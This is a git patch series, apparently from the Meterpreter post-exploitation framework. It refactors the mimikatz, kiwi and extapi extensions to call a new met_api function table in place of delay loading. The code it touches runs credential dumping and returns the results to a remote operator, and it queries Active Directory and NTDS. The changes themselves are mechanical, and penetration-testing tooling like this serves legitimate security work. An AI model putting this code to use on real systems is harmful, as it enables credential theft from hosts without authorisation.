deletions(-) diff --git a/c/meterpreter/source/extensions/mimikatz/main.cpp b/c/meterpreter/source/extensions/mimikatz/main.cpp index df468654..8f05c01b 100644 --- a/c/meterpreter/source/extensions/mimikatz/main.cpp +++ b/c/meterpreter/source/extensions/mimikatz/main.cpp @@ -14,120 +14,118 @@ std::wstring s2ws(const std::string& str) return wstrTo; } -extern "C" +extern "C" { -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" -// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function -// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the -// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. +#include "common_metapi.h" + + // Required so that use of the API works. + MetApi* met_api = NULL; + #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); + mimikatz* myMimiKatz; -mimikatz * myMimiKatz; - -// Singleton -void initialize_mimikatz() -{ - vector *args; - if (!myMimiKatz) + // Singleton + void initialize_mimikatz() { - args = new vector(); - myMimiKatz = new mimikatz(args); - delete args; - } -} - -void clear_buffer() -{ - oss.str(L""); - oss.clear(); -} - -wchar_t* convert_wstring_to_wchar_t(wstring in) -{ - const wchar_t* outputStr = in.c_str(); - wchar_t* out = new wchar_t[in.size()+1]; - wcscpy_s(out, in.size() + 1, outputStr); - out[in.size()] = '\0'; - return out; -} - -DWORD request_custom_command(Remote *remote, Packet *packet) -{ - Packet * response = packet_create_response(packet); - Tlv argTlv = {0}; - DWORD index = 0; - vector args; - - LPCSTR func = packet_get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION); - dprintf("Function: %s", packet_get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION)); - wstring function = s2ws(func); - - while( packet_enum_tlv( packet, index++, TLV_TYPE_MIMIKATZ_ARGUMENT, &argTlv ) == ERROR_SUCCESS ) - { - dprintf("Arg: %s", (PCHAR)argTlv.buffer); - args.push_back(s2ws((PCHAR)argTlv.buffer)); + vector* args; + if (!myMimiKatz) + { + args = new vector(); + myMimiKatz = new mimikatz(args); + delete args; + } } - clear_buffer(); + void clear_buffer() + { + oss.str(L""); + oss.clear(); + } - initialize_mimikatz(); - myMimiKatz->doCommandeLocale(&function, &args); + wchar_t* convert_wstring_to_wchar_t(wstring in) + { + const wchar_t* outputStr = in.c_str(); + wchar_t* out = new wchar_t[in.size() + 1]; + wcscpy_s(out, in.size() + 1, outputStr); + out[in.size()] = '\0'; + return out; + } - wchar_t* output = convert_wstring_to_wchar_t(oss.str()); - - clear_buffer(); + DWORD request_custom_command(Remote* remote, Packet* packet) + { + Packet* response = met_api->packet.create_response(packet); + Tlv argTlv = { 0 }; + DWORD index = 0; + vector args; - packet_add_tlv_raw(response, TLV_TYPE_MIMIKATZ_RESULT, output, (DWORD)(wcslen(output)*sizeof(wchar_t))); - packet_transmit_response(ERROR_SUCCESS, remote, response); - - return ERROR_SUCCESS; -} - -Command customCommands[] = -{ - COMMAND_REQ( "mimikatz_custom_command", request_custom_command ), - COMMAND_TERMINATOR -}; - -/*! - * @brief Initialize the server extension. - * @param remote Pointer to the remote instance. - * @return Indication of success or failure. - */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) -{ - hMetSrv = remote->met_srv; - - command_register_all( customCommands ); - - return ERROR_SUCCESS; -} - -/*! - * @brief Deinitialize the server extension. - * @param remote Pointer to the remote instance. - * @return Indication of success or failure. - */ -DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) -{ - command_deregister_all( customCommands ); - - return ERROR_SUCCESS; -} - -/*! - * @brief Get the name of the extension. - * @param buffer Pointer to the buffer to write the name to. - * @param bufferSize Size of the \c buffer parameter. - * @return Indication of success or failure. - */ -DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize) -{ - strncpy_s(buffer, bufferSize, "mimikatz", bufferSize - 1); - return ERROR_SUCCESS; -} + LPCSTR func = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION); + dprintf("Function: %s", met_api->packet.get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION)); + wstring function = s2ws(func); + while (met_api->packet.enum_tlv(packet, index++, TLV_TYPE_MIMIKATZ_ARGUMENT, &argTlv) == ERROR_SUCCESS) + { + dprintf("Arg: %s", (PCHAR)argTlv.buffer); + args.push_back(s2ws((PCHAR)argTlv.buffer)); + } + + clear_buffer(); + + initialize_mimikatz(); + myMimiKatz->doCommandeLocale(&function, &args); + + wchar_t* output = convert_wstring_to_wchar_t(oss.str()); + + clear_buffer(); + + met_api->packet.add_tlv_raw(response, TLV_TYPE_MIMIKATZ_RESULT, output, (DWORD)(wcslen(output) * sizeof(wchar_t))); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); + + return ERROR_SUCCESS; + } + + Command customCommands[] = + { + COMMAND_REQ("mimikatz_custom_command", request_custom_command), + COMMAND_TERMINATOR + }; + + /*! + * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. + * @param remote Pointer to the remote instance. + * @return Indication of success or failure. + */ + DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote) + { + met_api = api; + + met_api->command.register_all(customCommands); + + return ERROR_SUCCESS; + } + + /*! + * @brief Deinitialize the server extension. + * @param remote Pointer to the remote instance. + * @return Indication of success or failure. + */ + DWORD __declspec(dllexport) DeinitServerExtension(Remote* remote) + { + met_api->command.deregister_all(customCommands); + + return ERROR_SUCCESS; + } + + /*! + * @brief Get the name of the extension. + * @param buffer Pointer to the buffer to write the name to. + * @param bufferSize Size of the \c buffer parameter. + * @return Indication of success or failure. + */ + DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize) + { + strncpy_s(buffer, bufferSize, "mimikatz", bufferSize - 1); + return ERROR_SUCCESS; + } } diff --git a/c/meterpreter/workspace/ext_server_mimikatz/ext_server_mimikatz.vcxproj b/c/meterpreter/workspace/ext_server_mimikatz/ext_server_mimikatz.vcxproj index 4e0ed55c..4a90444b 100644 --- a/c/meterpreter/workspace/ext_server_mimikatz/ext_server_mimikatz.vcxproj +++ b/c/meterpreter/workspace/ext_server_mimikatz/ext_server_mimikatz.vcxproj @@ -105,7 +105,7 @@ MinSpace true - ..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_MIMIKATZ_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -155,7 +155,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace true - ..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_MIMIKATZ_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -208,7 +208,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace true - ..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_MIMIKATZ_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -262,7 +262,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace true - ..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_MIMIKATZ_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded From 4cd3a29319a6e669993b43bacc5ff01b29a282ce Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 17 Apr 2020 19:58:05 +1000 Subject: [PATCH 13/21] Remove delay loading from the kiwi extension --- c/meterpreter/source/extensions/kiwi/main.c | 27 ++++++++++--------- .../ext_server_kiwi/ext_server_kiwi.vcxproj | 8 +++--- 2 files changed, 19 insertions(+), 16 deletions(-) diff --git a/c/meterpreter/source/extensions/kiwi/main.c b/c/meterpreter/source/extensions/kiwi/main.c index 2b74080a..fa81dddf 100755 --- a/c/meterpreter/source/extensions/kiwi/main.c +++ b/c/meterpreter/source/extensions/kiwi/main.c @@ -3,15 +3,17 @@ * @brief Entry point for the kiwi extension. */ -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" +#include "common.h" +#include "common_metapi.h" + +// Required so that use of the API works. +MetApi* met_api = NULL; + // include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function // but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the // second stage reflective dll inject payload and not the metsrv itself when it loads extensions. #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); - #include "main.h" extern __declspec(dllexport) wchar_t * powershell_reflective_mimikatz(LPWSTR input); @@ -37,9 +39,9 @@ Command customCommands[] = DWORD request_exec_cmd(Remote *remote, Packet *packet) { DWORD result = ERROR_SUCCESS; - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); - wchar_t* cmd = packet_get_tlv_value_wstring(packet, TLV_TYPE_KIWI_CMD); + wchar_t* cmd = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_KIWI_CMD); if (cmd != NULL) { dprintf("[KIWI] Executing command: %S", cmd); @@ -49,7 +51,7 @@ DWORD request_exec_cmd(Remote *remote, Packet *packet) wchar_t* output = powershell_reflective_mimikatz(cmd); if (output != NULL) { - packet_add_tlv_wstring(response, TLV_TYPE_KIWI_CMD_RESULT, output); + met_api->packet.add_tlv_wstring(response, TLV_TYPE_KIWI_CMD_RESULT, output); } else { @@ -63,7 +65,7 @@ DWORD request_exec_cmd(Remote *remote, Packet *packet) } dprintf("[KIWI] Dumped, transmitting response."); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); dprintf("[KIWI] Done."); return ERROR_SUCCESS; @@ -71,18 +73,19 @@ DWORD request_exec_cmd(Remote *remote, Packet *packet) /*! * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote) { - hMetSrv = remote->met_srv; + met_api = api; dprintf("[KIWI] Init server extension - initorclean"); mimikatz_initOrClean(TRUE); dprintf("[KIWI] Init server extension - register"); - command_register_all(customCommands); + met_api->command.register_all(customCommands); dprintf("[KIWI] Init server extension - done"); @@ -97,7 +100,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { mimikatz_initOrClean(FALSE); - command_deregister_all(customCommands); + met_api->command.deregister_all(customCommands); return ERROR_SUCCESS; } diff --git a/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj b/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj index fc8ece26..80e66cd1 100644 --- a/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj +++ b/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj @@ -105,7 +105,7 @@ MinSpace true - ..\..\source\extensions\kiwi\mimikatz\inc;..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + ..\..\source\extensions\kiwi\mimikatz\inc;..\..\source\ReflectiveDLLInjection\common;..\..\source\common;%(AdditionalIncludeDirectories) _POWERKATZ;WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_KIWI_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -157,7 +157,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace true - ..\..\source\extensions\kiwi\mimikatz\inc;..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + ..\..\source\extensions\kiwi\mimikatz\inc;..\..\source\ReflectiveDLLInjection\common;..\..\source\common;%(AdditionalIncludeDirectories) _POWERKATZ;WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_KIWI_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -212,7 +212,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace true - ..\..\source\extensions\kiwi\mimikatz\inc;..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + ..\..\source\extensions\kiwi\mimikatz\inc;..\..\source\ReflectiveDLLInjection\common;..\..\source\common;%(AdditionalIncludeDirectories) _POWERKATZ;WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_KIWI_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -268,7 +268,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace true - ..\..\source\extensions\kiwi\mimikatz\inc;..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + ..\..\source\extensions\kiwi\mimikatz\inc;..\..\source\ReflectiveDLLInjection\common;..\..\source\common;%(AdditionalIncludeDirectories) _POWERKATZ;WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_KIWI_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded From c8aa435b3c4872c58dba04acf53d157c3de2771c Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 17 Apr 2020 20:09:12 +1000 Subject: [PATCH 14/21] Finally removed delay loading from the last extension: extapi --- c/meterpreter/source/extensions/extapi/adsi.c | 15 +- .../extensions/extapi/adsi_interface.cpp | 87 ++++++------ .../source/extensions/extapi/clipboard.c | 131 +++++++++--------- .../source/extensions/extapi/extapi.c | 23 ++- c/meterpreter/source/extensions/extapi/ntds.c | 13 +- .../source/extensions/extapi/ntds_jet.c | 5 +- .../source/extensions/extapi/pageantjacker.c | 17 +-- .../source/extensions/extapi/service.c | 49 +++---- .../source/extensions/extapi/window.c | 21 +-- c/meterpreter/source/extensions/extapi/wmi.c | 9 +- .../extensions/extapi/wmi_interface.cpp | 15 +- .../ext_server_extapi.vcxproj | 8 +- 12 files changed, 201 insertions(+), 192 deletions(-) diff --git a/c/meterpreter/source/extensions/extapi/adsi.c b/c/meterpreter/source/extensions/extapi/adsi.c index 6ca902a3..199047f8 100644 --- a/c/meterpreter/source/extensions/extapi/adsi.c +++ b/c/meterpreter/source/extensions/extapi/adsi.c @@ -6,6 +6,7 @@ #include "wshelpers.h" #include "adsi.h" #include "adsi_interface.h" +#include "common_metapi.h" /*! @brief The default page size to use when no page size is specified */ #define DEFAULT_PAGE_SIZE 1000 @@ -26,7 +27,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet) LPWSTR* lpwFields = NULL; DWORD fieldCount = 0; DWORD fieldIndex = 0; - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); Tlv fieldTlv; DWORD maxResults; DWORD pageSize; @@ -38,7 +39,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet) BREAK_WITH_ERROR("[EXTAPI ADSI] Unable to create response packet", ERROR_OUTOFMEMORY); } - lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_DOMAIN); + lpValue = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_DOMAIN); dprintf("[EXTAPI ADSI] Domain: %s", lpValue); dwResult = to_wide_string(lpValue, &lpwDomain); if (dwResult != ERROR_SUCCESS) @@ -47,7 +48,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet) break; } - lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_FILTER); + lpValue = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_FILTER); dprintf("[EXTAPI ADSI] Filter: %s", lpValue); dwResult = to_wide_string(lpValue, &lpwFilter); if (dwResult != ERROR_SUCCESS) @@ -56,10 +57,10 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet) break; } - maxResults = packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_ADSI_MAXRESULTS); + maxResults = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXT_ADSI_MAXRESULTS); dprintf("[EXTAPI ADSI] Max results will be %u", maxResults); - pageSize = packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_ADSI_PAGESIZE); + pageSize = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXT_ADSI_PAGESIZE); dprintf("[EXTAPI ADSI] Page size specified as %u", pageSize); // Set the page size to something sensible if not given. @@ -76,7 +77,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet) } dprintf("[EXTAPI ADSI] Page size will be %u", pageSize); - while (packet_enum_tlv(packet, fieldCount, TLV_TYPE_EXT_ADSI_FIELD, &fieldTlv) == ERROR_SUCCESS) + while (met_api->packet.enum_tlv(packet, fieldCount, TLV_TYPE_EXT_ADSI_FIELD, &fieldTlv) == ERROR_SUCCESS) { lpValue = (char*)fieldTlv.buffer; dprintf("[EXTAPI ADSI] Field %u: %s", fieldCount, lpValue); @@ -131,7 +132,7 @@ DWORD request_adsi_domain_query(Remote *remote, Packet *packet) dprintf("[EXTAPI ADSI] Transmitting response back to caller."); if (response) { - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } return dwResult; diff --git a/c/meterpreter/source/extensions/extapi/adsi_interface.cpp b/c/meterpreter/source/extensions/extapi/adsi_interface.cpp index 1a5b8a37..55639bf7 100644 --- a/c/meterpreter/source/extensions/extapi/adsi_interface.cpp +++ b/c/meterpreter/source/extensions/extapi/adsi_interface.cpp @@ -5,6 +5,7 @@ */ extern "C" { #include "extapi.h" +#include "common_metapi.h" #include #include #include @@ -186,7 +187,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, DWORD dwIndex = 0; ADS_SEARCH_COLUMN col; - Packet* pGroup = packet_create_group(); + Packet* pGroup = met_api->packet.create_group(); // iterate through the columns, adding Tlv entries as we go, but only // if we can get the values out. @@ -201,56 +202,56 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, { case ADSTYPE_LARGE_INTEGER: { - packet_add_tlv_qword(pGroup, TLV_TYPE_EXT_ADSI_BIGNUMBER, col.pADsValues->LargeInteger.QuadPart); + met_api->packet.add_tlv_qword(pGroup, TLV_TYPE_EXT_ADSI_BIGNUMBER, col.pADsValues->LargeInteger.QuadPart); dprintf("[ADSI] Adding large int value %lld", (UINT)col.pADsValues->LargeInteger.QuadPart); break; } case ADSTYPE_INTEGER: { - packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_ADSI_NUMBER, col.pADsValues->Integer); + met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_ADSI_NUMBER, col.pADsValues->Integer); dprintf("[ADSI] Adding int value %u", (UINT)col.pADsValues->Integer); break; } case ADSTYPE_DN_STRING: { dprintf("[EXTAPI ADSI] DN String: %S", col.pADsValues->DNString); - packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->DNString); + met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->DNString); break; } case ADSTYPE_PRINTABLE_STRING: { dprintf("[EXTAPI ADSI] Printable String: %S", col.pADsValues->PrintableString); - packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->PrintableString); + met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->PrintableString); break; } case ADSTYPE_NUMERIC_STRING: { dprintf("[EXTAPI ADSI] Numeric String: %S", col.pADsValues->NumericString); - packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->NumericString); + met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->NumericString); break; } case ADSTYPE_CASE_EXACT_STRING: { dprintf("[EXTAPI ADSI] Case Extact String: %S", col.pADsValues->CaseExactString); - packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->CaseExactString); + met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->CaseExactString); break; } case ADSTYPE_CASE_IGNORE_STRING: { dprintf("[EXTAPI ADSI] Case Ignore String: %S", col.pADsValues->CaseIgnoreString); - packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->CaseIgnoreString); + met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->CaseIgnoreString); break; } case ADSTYPE_BOOLEAN: { dprintf("[EXTAPI ADSI] Boolean"); - packet_add_tlv_bool(pGroup, TLV_TYPE_EXT_ADSI_BOOL, col.pADsValues->Boolean == 0 ? FALSE : TRUE); + met_api->packet.add_tlv_bool(pGroup, TLV_TYPE_EXT_ADSI_BOOL, col.pADsValues->Boolean == 0 ? FALSE : TRUE); break; } case ADSTYPE_OCTET_STRING: { dprintf("[EXTAPI ADSI] Octet string"); - packet_add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, col.pADsValues->OctetString.lpValue, col.pADsValues->OctetString.dwLength); + met_api->packet.add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, col.pADsValues->OctetString.lpValue, col.pADsValues->OctetString.dwLength); break; } case ADSTYPE_UTC_TIME: @@ -259,54 +260,54 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, SYSTEMTIME* pt = &col.pADsValues->UTCTime; sprintf_s(value, VALUE_SIZE, "%4u-%02u-%02u %02u:%02u:%02u.%03u", pt->wYear, pt->wMonth, pt->wDay, pt->wHour, pt->wMinute, pt->wSecond, pt->wMilliseconds); - packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, value); + met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, value); break; } case ADSTYPE_PROV_SPECIFIC: { dprintf("[EXTAPI ADSI] Provider specific"); - packet_add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, col.pADsValues->ProviderSpecific.lpValue, col.pADsValues->ProviderSpecific.dwLength); + met_api->packet.add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, col.pADsValues->ProviderSpecific.lpValue, col.pADsValues->ProviderSpecific.dwLength); break; } case ADSTYPE_OBJECT_CLASS: { - packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->ClassName); + met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->ClassName); break; } case ADSTYPE_CASEIGNORE_LIST: { // list of strings, yay! - Packet* pStrings = packet_create_group(); + Packet* pStrings = met_api->packet.create_group(); PADS_CASEIGNORE_LIST list = col.pADsValues->pCaseIgnoreList; dprintf("[EXTAPI ADSI] Case Ignore List"); while (list != NULL) { - packet_add_tlv_wstring(pStrings, TLV_TYPE_EXT_ADSI_STRING, list->String); + met_api->packet.add_tlv_wstring(pStrings, TLV_TYPE_EXT_ADSI_STRING, list->String); list = list->Next; } - packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_ARRAY, pStrings); + met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_ARRAY, pStrings); break; } case ADSTYPE_PATH: { PADS_PATH path = col.pADsValues->pPath; - Packet* pPathGroup = packet_create_group(); + Packet* pPathGroup = met_api->packet.create_group(); dprintf("[EXTAPI ADSI] PATH"); - packet_add_tlv_wstring(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_VOL, path->VolumeName); - packet_add_tlv_wstring(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_PATH, path->Path); - packet_add_tlv_uint(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_TYPE, path->Type); + met_api->packet.add_tlv_wstring(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_VOL, path->VolumeName); + met_api->packet.add_tlv_wstring(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_PATH, path->Path); + met_api->packet.add_tlv_uint(pPathGroup, TLV_TYPE_EXT_ADSI_PATH_TYPE, path->Type); - packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_PATH, pPathGroup); + met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_PATH, pPathGroup); break; } case ADSTYPE_POSTALADDRESS: { - Packet* pAddressGroup = packet_create_group(); + Packet* pAddressGroup = met_api->packet.create_group(); PADS_POSTALADDRESS addr = col.pADsValues->pPostalAddress; for (DWORD i = 0; i < sizeof(addr->PostalAddress) / sizeof(addr->PostalAddress[0]); ++i) @@ -316,33 +317,33 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, continue; } - packet_add_tlv_wstring(pAddressGroup, TLV_TYPE_EXT_ADSI_STRING, addr->PostalAddress[i]); + met_api->packet.add_tlv_wstring(pAddressGroup, TLV_TYPE_EXT_ADSI_STRING, addr->PostalAddress[i]); } dprintf("[EXTAPI ADSI] postal address list"); - packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_ARRAY, pAddressGroup); + met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_ARRAY, pAddressGroup); break; } case ADSTYPE_TIMESTAMP: { ADS_TIMESTAMP* pts = &col.pADsValues->Timestamp; dprintf("[EXTAPI ADSI] timestamp"); - packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_ADSI_NUMBER, pts->WholeSeconds); + met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_ADSI_NUMBER, pts->WholeSeconds); break; } case ADSTYPE_BACKLINK: { ADS_BACKLINK* pbl = &col.pADsValues->BackLink; dprintf("[EXTAPI ADSI] backlink"); - packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, pbl->ObjectName); + met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, pbl->ObjectName); break; } case ADSTYPE_TYPEDNAME: { PADS_TYPEDNAME ptn = col.pADsValues->pTypedName; dprintf("[EXTAPI ADSI] typed name"); - packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, ptn->ObjectName); + met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, ptn->ObjectName); break; } case ADSTYPE_NETADDRESS: @@ -353,12 +354,12 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, char* s = bytes_to_string(pna->Address, pna->AddressLength, "%u", 3, "."); if (s) { - packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, s); + met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, s); free(s); } else { - packet_add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, pna->Address, pna->AddressLength); + met_api->packet.add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, pna->Address, pna->AddressLength); } dprintf("[ADSI] %u network address of %u bytes added", pna->AddressType, pna->AddressLength); break; @@ -366,7 +367,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, case ADSTYPE_EMAIL: { dprintf("[EXTAPI ADSI] email"); - packet_add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->Email.Address); + met_api->packet.add_tlv_wstring(pGroup, TLV_TYPE_EXT_ADSI_STRING, col.pADsValues->Email.Address); break; } case ADSTYPE_NT_SECURITY_DESCRIPTOR: @@ -376,39 +377,39 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, if(ConvertSidToStringSid((PSID)psd->lpValue, &s)) { dprintf("[EXTAPI ADSI] converted SID: %s", s); - packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, s); + met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, s); LocalFree(s); } else { dprintf("[EXTAPI ADSI] byte SID"); - packet_add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, psd->lpValue, psd->dwLength); + met_api->packet.add_tlv_raw(pGroup, TLV_TYPE_EXT_ADSI_RAW, psd->lpValue, psd->dwLength); } break; } case ADSTYPE_DN_WITH_BINARY: { - Packet* pDnGroup = packet_create_group(); + Packet* pDnGroup = met_api->packet.create_group(); PADS_DN_WITH_BINARY pdb = col.pADsValues->pDNWithBinary; dprintf("[ADSI] DN with string"); - packet_add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pdb->pszDNString); - packet_add_tlv_raw(pDnGroup, TLV_TYPE_EXT_ADSI_RAW, pdb->lpBinaryValue, pdb->dwLength); - packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_DN, pDnGroup); + met_api->packet.add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pdb->pszDNString); + met_api->packet.add_tlv_raw(pDnGroup, TLV_TYPE_EXT_ADSI_RAW, pdb->lpBinaryValue, pdb->dwLength); + met_api->packet.add_group(pGroup, 